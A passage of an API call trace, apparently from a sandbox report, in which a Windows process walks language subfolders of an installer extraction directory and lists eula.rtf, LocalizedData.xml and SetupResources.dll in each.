hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.949] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.949] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0050.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.950] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0050.950] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.950] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0050.950] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.950] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.950] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.950] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.950] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.950] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0050.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.951] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0050.951] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.951] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0050.951] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.951] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.951] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.951] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.951] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.951] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0050.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.951] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0050.951] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.951] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260280 [0050.952] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.952] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.952] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.952] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.952] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.952] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0050.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.952] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0050.952] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.952] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0050.952] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.952] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.953] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.953] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.953] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.953] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0050.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.953] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0050.953] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.953] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260780 [0050.953] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.953] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.953] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.954] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.954] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.954] FindClose (in: hFindFile=0x4260780 | out: hFindFile=0x4260780) returned 1 [0050.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.954] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0050.954] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.954] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0050.954] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.955] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.955] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.955] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.955] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, 